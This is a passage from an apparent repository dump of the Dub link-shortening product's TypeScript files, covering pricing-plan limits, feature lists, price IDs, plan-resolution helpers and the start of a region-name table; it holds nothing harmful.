        rate limit\n          </>\n        ),\n      },\n      {\n        check: {\n          default: false,\n          business: true,\n          advanced: true,\n          enterprise: true,\n        },\n        text: \"Event webhooks\",\n        href: \"https://dub.co/docs/concepts/webhooks/introduction\",\n      },\n    ],\n  },\n  {\n    category: \"Workspace\",\n    href: \"https://dub.co/help/category/workspaces\",\n    features: [\n      {\n        text: ({ plan }) => (\n          <>\n            <strong>\n              {plan.name === \"Enterprise\"\n                ? \"Unlimited\"\n                : nFormatter(plan.limits.users)}\n            </strong>{\" \"}\n            user\n            {plan.limits.users === 1 ? \"\" : \"s\"}\n          </>\n        ),\n      },\n      {\n        check: {\n          default: false,\n          business: true,\n          advanced: true,\n          enterprise: true,\n        },\n        text: \"Role-based access control\",\n        href: \"https://dub.co/help/article/folders-rbac\",\n      },\n      {\n        check: {\n          default: false,\n          enterprise: true,\n        },\n        text: \"SAML/SSO\",\n        href: \"https://dub.co/help/category/saml-sso\",\n      },\n      {\n        check: {\n          default: false,\n          enterprise: true,\n        },\n        text: \"Audit logs\",\n      },\n    ],\n  },\n  {\n    category: \"Support\",\n    href: \"https://dub.co/contact/support\",\n    features: [\n      {\n        text: ({ id }) => (\n          <>\n            <strong>\n              {\n                {\n                  free: \"Basic support\",\n                  pro: \"Elevated support\",\n                  business: \"Priority support\",\n                  advanced: \"Priority via Slack\",\n                  enterprise: \"Priority with SLA\",\n                }[id]\n              }\n            </strong>\n          </>\n        ),\n      },\n      {\n        check: {\n          default: false,\n          enterprise: true,\n        },\n        text: () => (\n          <>\n            <strong>Dedicated</strong> success manager\n          </>\n        ),\n      },\n    ],\n  },\n];\n"
  },
  {
    "path": "packages/utils/src/constants/pricing/pricing-plan-main-features.ts",
    "content": "import { ReactNode } from \"react\";\nimport { nFormatter } from \"../../functions/nformatter\";\nimport { PLANS } from \"./pricing-plans\";\n\ntype Plan = (typeof PLANS)[number];\n\ntype HeroFeature = {\n  id?: string;\n  text: string;\n  disabled?: boolean;\n  tooltip?:\n    | ReactNode\n    | {\n        title: string;\n        cta: string;\n        href: string;\n      };\n};\n\nconst getLinksStandards = (plan: Plan): HeroFeature[] => {\n  return [\n    // Tracked events\n    {\n      id: \"clicks\",\n      text:\n        plan.name === \"Enterprise\"\n          ? \"Unlimited tracked events\"\n          : `${nFormatter(plan.limits.clicks)} tracked events/mo`,\n    },\n    // New links\n    {\n      id: \"links\",\n      text:\n        plan.name === \"Enterprise\"\n          ? \"Unlimited new links\"\n          : `${nFormatter(plan.limits.links)} new links/mo`,\n    },\n    {\n      id: \"retention\",\n      text: `${plan.limits.retention} analytics retention`,\n    },\n  ];\n};\n\nconst getPartnersStandards = (plan: Plan): HeroFeature[] => [\n  {\n    id: \"payouts\",\n    text:\n      plan.name === \"Enterprise\"\n        ? \"Unlimited partner payouts\"\n        : `$${nFormatter(plan.limits.payouts / 100)} partner payouts/mo`,\n    tooltip: {\n      title:\n        \"Send payouts to your partners with 1-click (or automate it completely) – all across the world.\",\n      cta: \"Learn more.\",\n      href: \"https://dub.co/help/article/partner-payouts\",\n    },\n  },\n];\n\nexport const PRICING_PLAN_MAIN_FEATURES = {\n  links: {\n    Pro: [\n      {\n        features: [\n          ...getLinksStandards(PLANS.find((p) => p.name === \"Pro\")!),\n          {\n            id: \"advanced\",\n            text: \"Advanced link features\",\n          },\n          {\n            id: \"dotlink\",\n            text: \"Free .link domain\",\n            tooltip: {\n              title:\n                \"Get a free .link custom domain for 1 year with any of Dub's paid plans.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/help/article/free-dot-link-domain\",\n            },\n          },\n          {\n            id: \"folders\",\n            text: \"Link folders\",\n            tooltip: {\n              title:\n                \"Organize and manage access to your links on Dub using folders.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/help/article/link-folders\",\n            },\n          },\n          {\n            id: \"deeplinks\",\n            text: \"Deep links\",\n            tooltip: {\n              title:\n                \"Redirect users to a specific page within your mobile application using deep links.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/docs/concepts/deep-links/quickstart\",\n            },\n          },\n        ],\n      },\n    ],\n    Business: [\n      {\n        features: [\n          ...getLinksStandards(PLANS.find((p) => p.name === \"Business\")!),\n          {\n            id: \"conversions\",\n            text: \"Conversion tracking\",\n          },\n          {\n            id: \"tests\",\n            text: \"A/B testing\",\n          },\n          {\n            id: \"roles\",\n            text: \"Customer insights\",\n            tooltip: {\n              title:\n                \"Get real-time insights into your customers' behavior and preferences.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/help/article/customer-insights\",\n            },\n          },\n          {\n            id: \"webhooks\",\n            text: \"Event webhooks\",\n            tooltip: {\n              title:\n                \"Get real-time notifications when a link is clicked or a QR code is scanned using webhooks.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/docs/concepts/webhooks/introduction\",\n            },\n          },\n        ],\n      },\n    ],\n    Advanced: [\n      {\n        features: [\n          ...getLinksStandards(PLANS.find((p) => p.name === \"Advanced\")!),\n          {\n            id: \"slack\",\n            text: \"Priority Slack support\",\n          },\n        ],\n      },\n    ],\n    Enterprise: [\n      {\n        features: [\n          ...getLinksStandards(PLANS.find((p) => p.name === \"Enterprise\")!),\n          {\n            id: \"sso\",\n            text: \"SSO/SAML\",\n          },\n          {\n            id: \"logs\",\n            text: \"Audit logs\",\n          },\n          {\n            id: \"sla\",\n            text: \"Custom SLA\",\n          },\n        ],\n      },\n    ],\n  },\n  partners: {\n    Business: [\n      {\n        features: [\n          ...getPartnersStandards(PLANS.find((p) => p.name === \"Business\")!),\n          {\n            id: \"basicrewards\",\n            text: \"Basic reward structures\",\n            tooltip: {\n              title:\n                \"Create custom click, lead, or sale-based rewards, tailored to each partner's needs.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/help/article/partner-rewards\",\n            },\n          },\n          {\n            id: \"conversions\",\n            text: \"Dual-sided incentives\",\n            tooltip: {\n              title:\n                \"Offer dual-sided incentives to your partners and the users they refer.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/help/article/dual-sided-incentives\",\n            },\n          },\n          {\n            id: \"bounties\",\n            text: \"Program bounties\",\n            tooltip: {\n              title:\n                \"Drive partner engagement by creating performance and submission bounties for your partner program.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/help/article/program-bounties\",\n            },\n          },\n          {\n            id: \"analytics\",\n            text: \"Real-time analytics\",\n            tooltip: {\n              title:\n                \"Get real-time insights into your partner program's performance and engagement.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/help/article/program-analytics\",\n            },\n          },\n          {\n            id: \"ailandingpage\",\n            text: \"AI landing page generator\",\n            tooltip: {\n              title:\n                \"Generate compelling landing pages using Dub AI to attract high-quality partners to join your program.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/help/article/program-landing-page\",\n            },\n          },\n          {\n            id: \"webhooks\",\n            text: \"Real-time event webhooks\",\n            tooltip: {\n              title:\n                \"Get real-time notifications when a link is clicked or a QR code is scanned using webhooks.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/docs/concepts/webhooks/introduction\",\n            },\n          },\n          {\n            id: \"customerinsights\",\n            text: \"Basic email support\",\n          },\n        ],\n      },\n    ],\n    Advanced: [\n      {\n        features: [\n          ...getPartnersStandards(PLANS.find((p) => p.name === \"Advanced\")!),\n          {\n            id: \"flexiblerewards\",\n            text: \"Advanced reward structures\",\n            tooltip: {\n              title:\n                \"Create dynamic click, lead, or sale-based rewards with country and product-specific modifiers.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/help/article/partner-rewards\",\n            },\n          },\n          {\n            id: \"email\",\n            text: \"Email campaigns\",\n            tooltip: {\n              title:\n                \"Send marketing and transactional emails to your partners to increase engagement and drive conversions.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/help/article/email-campaigns\",\n            },\n          },\n          {\n            id: \"messages\",\n            text: \"Messaging center\",\n            tooltip: {\n              title:\n                \"Easily communicate with your partners using our messaging center.\",\n            },\n          },\n          {\n            id: \"frauddetection\",\n            text: \"Fraud detection\",\n            tooltip: {\n              title:\n                \"Safeguard your partner program by automatically flagging, reviewing, and resolving suspicious activity.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/help/article/fraud-detection\",\n            },\n          },\n          {\n            id: \"embeddedreferrals\",\n            text: \"Embedded referral dashboard\",\n            tooltip: {\n              title:\n                \"Create an embedded referral dashboard directly in your app in just a few lines of code.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/docs/partners/embedded-referrals\",\n            },\n          },\n          {\n            id: \"api\",\n            text: \"Partners API\",\n            tooltip: {\n              title:\n                \"Leverage our partners API to build a bespoke, white-labeled referral program that lives within your app.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/docs/api-reference/endpoint/create-a-partner\",\n            },\n          },\n          {\n            id: \"slack\",\n            text: \"Priority Slack support\",\n          },\n        ],\n      },\n    ],\n    Enterprise: [\n      {\n        features: [\n          ...getPartnersStandards(PLANS.find((p) => p.name === \"Enterprise\")!),\n          {\n            id: \"volume\",\n            text: \"Volume discounts\",\n            tooltip: {\n              title:\n                \"Get access to volume discounts for payout fees and tracked events usage.\",\n            },\n          },\n          {\n            id: \"partnergroups\",\n            text: \"Access to Partner Network\",\n            tooltip: {\n              title:\n                \"Get access to our network of 10,000+ top affiliates to recruit from and grow your program.\",\n            },\n          },\n          {\n            id: \"partners\",\n            text: \"Featured in Program Marketplace\",\n            tooltip: {\n              title:\n                \"Get featured in front of our network of 500,000+ total affiliates and receive 10x more applications.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/help/article/program-marketplace\",\n            },\n          },\n          {\n            id: \"sso\",\n            text: \"SSO/SAML\",\n            tooltip: {\n              title:\n                \"Enable single sign-on (SSO) for your entire organization using SAML.\",\n              cta: \"Learn more.\",\n              href: \"https://dub.co/help/category/saml-sso\",\n            },\n          },\n          {\n            id: \"logs\",\n            text: \"Audit logs\",\n          },\n          {\n            id: \"sla\",\n            text: \"Custom SLA\",\n          },\n          {\n            id: \"success\",\n            text: \"Dedicated success manager\",\n          },\n        ],\n      },\n    ],\n  },\n};\n"
  },
  {
    "path": "packages/utils/src/constants/pricing/pricing-plan-taglines.ts",
    "content": "export const PRICING_PLAN_TAGLINES = {\n  links: {\n    Pro: \"For small teams or creators needing advanced link features\",\n    Business: \"For fast-growing startups and businesses looking to scale\",\n    Advanced: \"For hyperscalers needing higher usage quotas\",\n    Enterprise: \"For large organizations and governments with custom needs\",\n  },\n  partners: {\n    Business:\n      \"For fast-growing startups looking to scale with affiliates and referrals\",\n    Advanced:\n      \"For scaling teams with high-volume affiliate traffic and white-labeling needs\",\n    Enterprise:\n      \"For large organizations looking for dedicated support and unlimited usage\",\n  },\n};\n"
  },
  {
    "path": "packages/utils/src/constants/pricing/pricing-plans.tsx",
    "content": "import { nFormatter } from \"../../functions\";\nimport { INFINITY_NUMBER } from \"../misc\";\n\nexport type PlanFeature = {\n  id?: string;\n  text: string;\n  tooltip?: {\n    title: string;\n    cta: string;\n    href: string;\n  };\n};\n\nexport type PlanDetails = {\n  name: string;\n  price: {\n    monthly: number | null;\n    yearly: number | null;\n    ids?: string[];\n  };\n  limits: {\n    links: number;\n    clicks: number;\n    payouts: number;\n    domains: number;\n    tags: number;\n    folders: number;\n    groups: number;\n    networkInvites: number;\n    users: number;\n    ai: number;\n    api: number;\n    analyticsApi: number;\n    retention: string;\n  };\n  tiers?: {\n    [key: number]: {\n      price: {\n        monthly: number | null;\n        yearly: number | null;\n        ids: string[];\n      };\n      limits: {\n        links: number;\n        clicks: number;\n      };\n    };\n  };\n  featureTitle?: string;\n  features?: PlanFeature[];\n};\n\nconst LEGACY_PRO_PRICE_IDS = [\n  \"price_1LodNLAlJJEpqkPVQSrt33Lc\", // old monthly\n  \"price_1LodNLAlJJEpqkPVRxUyCQgZ\", // old yearly\n  \"price_1OTcQBAlJJEpqkPViGtGEsbb\", // new monthly (test)\n  \"price_1OYJeBAlJJEpqkPVLjTsjX0E\", // new monthly (prod)\n  \"price_1OTcQBAlJJEpqkPVYlCMqdLL\", // new yearly (test)\n  \"price_1OYJeBAlJJEpqkPVnPGEZeb0\", // new yearly (prod)\n];\n\nconst PRO_TIER_PRICE_IDS = {\n  2: [\n    \"price_1SQtg3AlJJEpqkPVVhDSyd9u\", // yearly (prod)\n    \"price_1SQtg3AlJJEpqkPVNHYhTRy7\", // monthly (prod)\n    \"price_1SQ8hiAlJJEpqkPVIy8pfvAC\", // yearly (test)\n    \"price_1SQ8gwAlJJEpqkPVb78Oc9Yc\", // monthly (test)\n  ],\n};\n\n// 2025 pricing\nconst NEW_PRO_PRICE_IDS = [\n  \"price_1R8XtyAlJJEpqkPV5WZ4c0jF\", //  yearly\n  \"price_1R8XtEAlJJEpqkPV4opVvVPq\", // monthly\n  \"price_1R8XxZAlJJEpqkPVqGi0wOqD\", // yearly (test),\n  \"price_1R7oeBAlJJEpqkPVh6q5q3h8\", // monthly (test),\n  ...Object.values(PRO_TIER_PRICE_IDS).flat(),\n];\n\nconst LEGACY_BUSINESS_PRICE_IDS = [\n  \"price_1LodLoAlJJEpqkPV9rD0rlNL\", // old monthly\n  \"price_1LodLoAlJJEpqkPVJdwv5zrG\", // oldest yearly\n  \"price_1OZgmnAlJJEpqkPVOj4kV64R\", // old yearly\n  \"price_1OzNlmAlJJEpqkPV7s9HXNAC\", // new monthly (test)\n  \"price_1OzNmXAlJJEpqkPVYO89lTdx\", // new yearly (test)\n  \"price_1OzOFIAlJJEpqkPVJxzc9irl\", // new monthly (prod)\n  \"price_1OzOXMAlJJEpqkPV9ERrjjbw\", // new yearly (prod)\n];\n\nconst BUSINESS_TIER_PRICE_IDS = {\n  2: [\n    \"price_1SQtdxAlJJEpqkPV4kNkRHZr\", // yearly (prod)\n    \"price_1SQtdxAlJJEpqkPV7cvJTv4g\", // monthly (prod)\n    \"price_1SQ8iwAlJJEpqkPVEGmKd6Lg\", // yearly (test)\n    \"price_1SQ8iSAlJJEpqkPVQ5crmBtF\", // monthly (test)\n  ],\n};\n\n// 2025 pricing\nexport const NEW_BUSINESS_PRICE_IDS = [\n  \"price_1R3j01AlJJEpqkPVXuG1eNzm\", //  yearly\n  \"price_1R6JedAlJJEpqkPVMUkfjch4\", // monthly\n  \"price_1R8XypAlJJEpqkPVdjzOcYUC\", // yearly (test),\n  \"price_1R7ofLAlJJEpqkPV3MlgDpyx\", // monthly (test),\n  ...Object.values(BUSINESS_TIER_PRICE_IDS).flat(),\n];\n\nconst ADVANCED_TIER_PRICE_IDS = {\n  2: [\n    \"price_1SQtg6AlJJEpqkPVAJdrStq7\", // yearly (prod)\n    \"price_1SQtg6AlJJEpqkPVaZNisQdm\", // monthly (prod)\n    \"price_1SQ8jlAlJJEpqkPV6EanvSXl\", // yearly (test)\n    \"price_1SQ8jJAlJJEpqkPVIwY9QZSP\", // monthly (test)\n  ],\n  3: [\n    \"price_1SQtg8AlJJEpqkPVvQVU7uQ3\", // yearly (prod)\n    \"price_1SQtg8AlJJEpqkPV4Nks8MkS\", // monthly (prod)\n    \"price_1SQ8lqAlJJEpqkPVzBaioV3I\", // yearly (test)\n    \"price_1SQ8lOAlJJEpqkPVz2R8SRss\", // monthly (test)\n  ],\n};\n\nconst ADVANCED_PRICE_IDS = [\n  \"price_1R8Xw4AlJJEpqkPV6nwdink9\", //  yearly\n  \"price_1R3j0qAlJJEpqkPVkfGNXRwb\", // monthly\n  \"price_1R8XztAlJJEpqkPVnHmIU2tf\", // yearly (test),\n  \"price_1R7ofzAlJJEpqkPV0L2TwyJo\", // monthly (test),\n  ...Object.values(ADVANCED_TIER_PRICE_IDS).flat(),\n];\n\nexport const PLANS: PlanDetails[] = [\n  {\n    name: \"Free\",\n    price: {\n      monthly: 0,\n      yearly: 0,\n    },\n    limits: {\n      links: 25,\n      clicks: 1_000,\n      payouts: 0,\n      domains: 3,\n      tags: 5,\n      folders: 0,\n      groups: 0,\n      networkInvites: 0,\n      users: 1,\n      ai: 10,\n      api: 60,\n      analyticsApi: 0, // analytics API is not available on the Free plan\n      retention: \"30-day\",\n    },\n  },\n  {\n    name: \"Pro\",\n    price: {\n      monthly: 30,\n      yearly: 25,\n      ids: [...LEGACY_PRO_PRICE_IDS, ...NEW_PRO_PRICE_IDS],\n    },\n    limits: {\n      links: 1_000,\n      clicks: 50_000,\n      payouts: 0,\n      domains: 10,\n      tags: 25,\n      folders: 3,\n      groups: 0,\n      networkInvites: 0,\n      users: 3,\n      ai: 1_000,\n      api: 600,\n      analyticsApi: 2,\n      retention: \"1-year\",\n    },\n    tiers: {\n      2: {\n        price: {\n          monthly: 60,\n          yearly: 50,\n          ids: PRO_TIER_PRICE_IDS[2],\n        },\n        limits: {\n          links: 5_000,\n          clicks: 150_000,\n        },\n      },\n    },\n    featureTitle: \"Everything in Free, plus:\",\n    features: [\n      { id: \"clicks\", text: \"50K tracked events/mo\" },\n      { id: \"links\", text: \"1K new links/mo\" },\n      { id: \"retention\", text: \"1-year analytics retention\" },\n      { id: \"domains\", text: \"10 domains\" },\n      { id: \"users\", text: \"3 users\" },\n      {\n        id: \"advanced\",\n        text: \"Advanced link features\",\n        tooltip: \"ADVANCED_LINK_FEATURES\",\n      },\n      {\n        id: \"ai\",\n        text: \"Unlimited AI credits\",\n        tooltip: {\n          title:\n            \"Subject to fair use policy – you will be notified if you exceed the limit, which are high enough for frequent usage.\",\n          cta: \"Learn more.\",\n          href: \"https://dub.co/blog/introducing-dub-ai\",\n        },\n      },\n      {\n        id: \"dotlink\",\n        text: \"Free .link domain\",\n        tooltip: {\n          title:\n            \"All our paid plans come with a free .link custom domain, which helps improve click-through rates.\",\n          cta: \"Learn more.\",\n          href: \"https://dub.co/help/article/free-dot-link-domain\",\n        },\n      },\n      {\n        id: \"folders\",\n        text: \"Link folders\",\n        tooltip: {\n          title:\n            \"Organize and manage access to your links on Dub using folders.\",\n          cta: \"Learn more.\",\n          href: \"https://dub.co/help/article/link-folders\",\n        },\n      },\n      {\n        id: \"deeplinks\",\n        text: \"Deep links\",\n        tooltip: {\n          title:\n            \"Redirect users to a specific page within your mobile application using deep links.\",\n          cta: \"Learn more.\",\n          href: \"https://dub.co/docs/concepts/deep-links/quickstart\",\n        },\n      },\n    ] as PlanFeature[],\n  },\n  {\n    name: \"Business\",\n    price: {\n      monthly: 90,\n      yearly: 75,\n      ids: [...LEGACY_BUSINESS_PRICE_IDS, ...NEW_BUSINESS_PRICE_IDS],\n    },\n    limits: {\n      links: 10_000,\n      clicks: 250_000,\n      payouts: 2_500_00,\n      domains: 100,\n      tags: INFINITY_NUMBER,\n      folders: 20,\n      groups: 3,\n      networkInvites: 0,\n      users: 10,\n      ai: 1_000,\n      api: 1_200,\n      analyticsApi: 4,\n      retention: \"3-year\",\n    },\n    tiers: {\n      2: {\n        price: {\n          monthly: 180,\n          yearly: 150,\n          ids: BUSINESS_TIER_PRICE_IDS[2],\n        },\n        limits: {\n          links: 25_000,\n          clicks: 600_000,\n        },\n      },\n    },\n    featureTitle: \"Everything in Pro, plus:\",\n    features: [\n      {\n        id: \"clicks\",\n        text: \"250K tracked events/mo\",\n      },\n      {\n        id: \"links\",\n        text: \"10K new links/mo\",\n      },\n      {\n        id: \"retention\",\n        text: \"3-year analytics retention\",\n      },\n      {\n        id: \"payouts\",\n        text: \"$2.5K partner payouts/mo\",\n        tooltip: {\n          title:\n            \"Send payouts to your partners with 1-click (or automate it completely) – all across the world.\",\n          cta: \"Learn more.\",\n          href: \"https://dub.co/help/article/partner-payouts\",\n        },\n      },\n      {\n        id: \"users\",\n        text: \"10 users\",\n      },\n      {\n        id: \"partners\",\n        text: \"Dub Partners\",\n        tooltip: {\n          title: \"Use Dub Partners to manage and pay out your affiliates.\",\n          cta: \"Learn more.\",\n          href: \"https://dub.co/partners\",\n        },\n      },\n      {\n        id: \"customerinsights\",\n        text: \"Customer insights\",\n        tooltip: {\n          title:\n            \"Get real-time insights into your customers' behavior and preferences.\",\n          cta: \"Learn more.\",\n          href: \"https://dub.co/help/article/customer-insights\",\n        },\n      },\n      {\n        id: \"events\",\n        text: \"Real-time events stream\",\n        tooltip: {\n          title:\n            \"Get more data on your link clicks and QR code scans with a detailed, real-time stream of events in your workspace\",\n          cta: \"Learn more.\",\n          href: \"https://dub.co/help/article/real-time-events-stream\",\n        },\n      },\n      {\n        id: \"webhooks\",\n        text: \"Event webhooks\",\n        tooltip: {\n          title:\n            \"Get real-time notifications when a link is clicked or a QR code is scanned using webhooks.\",\n          cta: \"Learn more.\",\n          href: \"https://dub.co/docs/concepts/webhooks/introduction\",\n        },\n      },\n      {\n        id: \"tests\",\n        text: \"A/B testing\",\n      },\n    ] as PlanFeature[],\n  },\n  {\n    name: \"Advanced\",\n    price: {\n      monthly: 300,\n      yearly: 250,\n      ids: ADVANCED_PRICE_IDS,\n    },\n    limits: {\n      links: 50_000,\n      clicks: 1_000_000,\n      payouts: 15_000_00,\n      domains: 250,\n      tags: INFINITY_NUMBER,\n      folders: 50,\n      groups: INFINITY_NUMBER,\n      networkInvites: 0,\n      users: 20,\n      ai: 1_000,\n      api: 3_000,\n      analyticsApi: 8,\n      retention: \"5-year\",\n    },\n    tiers: {\n      2: {\n        price: {\n          monthly: 600,\n          yearly: 500,\n          ids: ADVANCED_TIER_PRICE_IDS[2],\n        },\n        limits: {\n          links: 150_000,\n          clicks: 2_000_000,\n        },\n      },\n      3: {\n        price: {\n          monthly: 900,\n          yearly: 750,\n          ids: ADVANCED_TIER_PRICE_IDS[3],\n        },\n        limits: {\n          links: 300_000,\n          clicks: 3_500_000,\n        },\n      },\n    },\n    featureTitle: \"Everything in Business, plus:\",\n    features: [\n      {\n        id: \"clicks\",\n        text: \"1M tracked events/mo\",\n      },\n      {\n        id: \"links\",\n        text: \"50K new links/mo\",\n      },\n      {\n        id: \"retention\",\n        text: \"5-year analytics retention\",\n      },\n      {\n        id: \"payouts\",\n        text: \"$15K partner payouts/mo\",\n        tooltip: {\n          title:\n            \"Send payouts to your partners with 1-click (or automate it completely) – all across the world.\",\n          cta: \"Learn more.\",\n          href: \"https://dub.co/help/article/partner-payouts\",\n        },\n      },\n      {\n        id: \"users\",\n        text: \"20 users\",\n      },\n      {\n        id: \"flexiblerewards\",\n        text: \"Advanced reward structures\",\n        tooltip: {\n          title:\n            \"Create dynamic click, lead, or sale-based rewards with country and product-specific modifiers.\",\n          cta: \"Learn more.\",\n          href: \"https://dub.co/help/article/partner-rewards\",\n        },\n      },\n      {\n        id: \"embeddedreferrals\",\n        text: \"Embedded referral dashboard\",\n        tooltip: {\n          title:\n            \"Create an embedded referral dashboard directly in your app in just a few lines of code.\",\n          cta: \"Learn more.\",\n          href: \"https://dub.co/docs/partners/embedded-referrals\",\n        },\n      },\n      {\n        id: \"messages\",\n        text: \"Messaging center\",\n        tooltip: {\n          title:\n            \"Easily communicate with your partners using our messaging center.\",\n        },\n      },\n      {\n        id: \"email\",\n        text: \"Email campaigns\",\n        tooltip: {\n          title:\n            \"Send marketing and transactional emails to your partners to increase engagement and drive conversions.\",\n          cta: \"Learn more.\",\n          href: \"https://dub.co/help/article/email-campaigns\",\n        },\n      },\n      {\n        id: \"slack\",\n        text: \"Priority Slack support\",\n      },\n    ] as PlanFeature[],\n  },\n  {\n    name: \"Enterprise\",\n    price: {\n      monthly: null,\n      yearly: null,\n    },\n    limits: {\n      links: 500_000,\n      clicks: 5_000_000,\n      payouts: INFINITY_NUMBER,\n      domains: 250,\n      tags: INFINITY_NUMBER,\n      folders: INFINITY_NUMBER,\n      groups: INFINITY_NUMBER,\n      networkInvites: 20,\n      users: 30,\n      ai: 1_000,\n      api: 3_000,\n      analyticsApi: 16,\n      retention: \"Unlimited\",\n    },\n  },\n];\n\nexport const FREE_PLAN = PLANS.find((plan) => plan.name === \"Free\")!;\nexport const PRO_PLAN = PLANS.find((plan) => plan.name === \"Pro\")!;\nexport const BUSINESS_PLAN = PLANS.find((plan) => plan.name === \"Business\")!;\nexport const ADVANCED_PLAN = PLANS.find((plan) => plan.name === \"Advanced\")!;\nexport const ENTERPRISE_PLAN = PLANS.find(\n  (plan) => plan.name === \"Enterprise\",\n)!;\n\nexport const SELF_SERVE_PAID_PLANS = PLANS.filter((p) =>\n  [\"Pro\", \"Business\", \"Advanced\"].includes(p.name),\n);\n\nexport const FREE_WORKSPACES_LIMIT = 2;\n\nconst enrichPlanWithTierData = (\n  planDetails: PlanDetails,\n  planTier: number,\n): PlanDetails => {\n  const tierData =\n    planDetails.tiers && planTier > 1 ? planDetails.tiers[planTier] : undefined;\n  const tierLimits = tierData?.limits ?? planDetails.limits;\n\n  return {\n    ...planDetails,\n    limits: {\n      ...planDetails.limits,\n      ...tierLimits,\n    },\n    price: {\n      ...planDetails.price,\n      ...tierData?.price,\n    },\n    features: planDetails.features?.map((feature) => ({\n      ...feature,\n      text:\n        feature.id === \"clicks\"\n          ? `${nFormatter(tierLimits.clicks)} tracked events/mo`\n          : feature.id === \"links\"\n            ? `${nFormatter(tierLimits.links)} new links/mo`\n            : feature.text,\n    })),\n  };\n};\n\nexport const getPlanAndTierFromPriceId = ({\n  priceId,\n}: {\n  priceId: string;\n}): { plan: PlanDetails | null; planTier: number } => {\n  const planDetails = PLANS.find((plan) => plan.price.ids?.includes(priceId));\n  if (!planDetails) return { plan: null, planTier: 1 };\n\n  const planTier = planDetails.tiers\n    ? Number(\n        Object.entries(planDetails.tiers).find(([_, { price }]) =>\n          price.ids.includes(priceId),\n        )?.[0],\n      ) || 1\n    : 1;\n\n  return {\n    plan: enrichPlanWithTierData(planDetails, planTier),\n    planTier,\n  };\n};\n\nexport const getPlanDetails = ({\n  plan,\n  planTier = 1,\n}: {\n  plan: string;\n  planTier?: number;\n}) => {\n  const planDetails = PLANS.find(\n    (p) => p.name.toLowerCase() === plan.toLowerCase(),\n  )!;\n\n  return enrichPlanWithTierData(planDetails, planTier);\n};\n\nexport const getNextPlan = (plan?: string | null) => {\n  if (!plan) return PRO_PLAN;\n  const currentPlan = plan.toLowerCase().split(\" \")[0]; // to account for old Business plans (e.g. \"Business Plus\")\n  return PLANS[\n    Math.min(\n      // returns the next plan, or the last plan if the current plan is the last plan\n      PLANS.findIndex((p) => p.name.toLowerCase() === currentPlan) + 1,\n      PLANS.length - 1,\n    )\n  ];\n};\n\nexport const isDowngradePlan = ({\n  currentPlan,\n  newPlan,\n  currentTier,\n  newTier,\n}: {\n  currentPlan: string;\n  newPlan: string;\n  currentTier?: number;\n  newTier?: number;\n}) => {\n  const currentPlanIndex = PLANS.findIndex(\n    (p) => p.name.toLowerCase() === currentPlan.toLowerCase(),\n  );\n  const newPlanIndex = PLANS.findIndex(\n    (p) => p.name.toLowerCase() === newPlan.toLowerCase(),\n  );\n  return (\n    currentPlanIndex > newPlanIndex ||\n    (currentPlanIndex === newPlanIndex && (currentTier ?? 1) > (newTier ?? 1))\n  );\n};\n\nexport const getSuggestedPlan = ({\n  events,\n  links,\n  suggestFree = false,\n}: {\n  events?: number;\n  links?: number;\n  suggestFree?: boolean;\n}): { plan: PlanDetails; planTier: number } => {\n  let match: { plan: PlanDetails; planTier: number } | null = null;\n\n  for (const p of PLANS) {\n    if (!suggestFree && p.price.monthly === 0) continue;\n\n    const matchingTier = [\n      1,\n      ...Object.keys(p.tiers ?? {})\n        .map(Number)\n        .filter((tier) => tier >= 2),\n    ].find((tier) => {\n      const limits =\n        tier === 1 ? p.limits : p.tiers?.[tier]?.limits ?? p.limits;\n      return limits.clicks >= (events ?? 0) && limits.links >= (links ?? 0);\n    });\n\n    if (matchingTier !== undefined) {\n      match = {\n        plan: enrichPlanWithTierData(p, matchingTier),\n        planTier: matchingTier,\n      };\n\n      break;\n    }\n  }\n\n  return match ?? { plan: ENTERPRISE_PLAN, planTier: 1 };\n};\n\nexport const isLegacyBusinessPlan = ({\n  plan = \"business\",\n  payoutsLimit = 0,\n}: {\n  plan?: string;\n  payoutsLimit?: number;\n}) => plan === \"business\" && payoutsLimit === 0;\n"
  },
  {
    "path": "packages/utils/src/constants/regions.ts",
    "content": "export const REGIONS: { [key: string]: string } = {\n  \"AF-BDS\": \"Badakhshān\",\n  \"AF-BDG\": \"Bādghīs\",\n  \"AF-BGL\": \"Baghlān\",\n  \"AF-BAL\": \"Balkh\",\n  \"AF-BAM\": \"Bāmyān\",\n  \"AF-DAY\": \"Dāykundī\",\n  \"AF-FRA\": \"Farāh\",\n  \"AF-FYB\": \"Fāryāb\",\n  \"AF-GHA\": \"Ghaznī\",\n  \"AF-GHO\": \"Ghōr\",\n  \"AF-HEL\": \"Helmand\",\n  \"AF-HER\": \"Herāt\",\n  \"AF-JOW\": \"Jowzjān\",\n  \"AF-KAB\": \"Kābul\",\n  \"AF-KAN\": \"Kandahār\",\n  \"AF-KAP\": \"Kāpīsā\",\n  \"AF-KHO\": \"Khōst\",\n  \"AF-KNR\": \"Kunaṟ\",\n  \"AF-KDZ\": \"Kunduz\",\n  \"AF-LAG\": \"Laghmān\",\n  \"AF-LOG\": \"Lōgar\",\n  \"AF-NAN\": \"Nangarhār\",\n  \"AF-NIM\": \"Nīmrōz\",\n  \"AF-NUR\": \"Nūristān\",\n  \"AF-PKA\": \"Paktīkā\",\n  \"AF-PIA\": \"Paktiyā\",\n  \"AF-PAN\": \"Panjshayr\",\n  \"AF-PAR\": \"Parwān\",\n  \"AF-SAM\": \"Samangān\",\n  \"AF-SAR\": \"Sar-e Pul\",\n  \"AF-TAK\": \"Takhār\",\n  \"AF-URU\": \"Uruzgān\",\n  \"AF-WAR\": \"Wardak\",\n  \"AF-ZAB\": \"Zābul\",\n  \"AL-01\": \"Berat\",\n  \"AL-09\": \"Dibër\",\n  \"AL-02\": 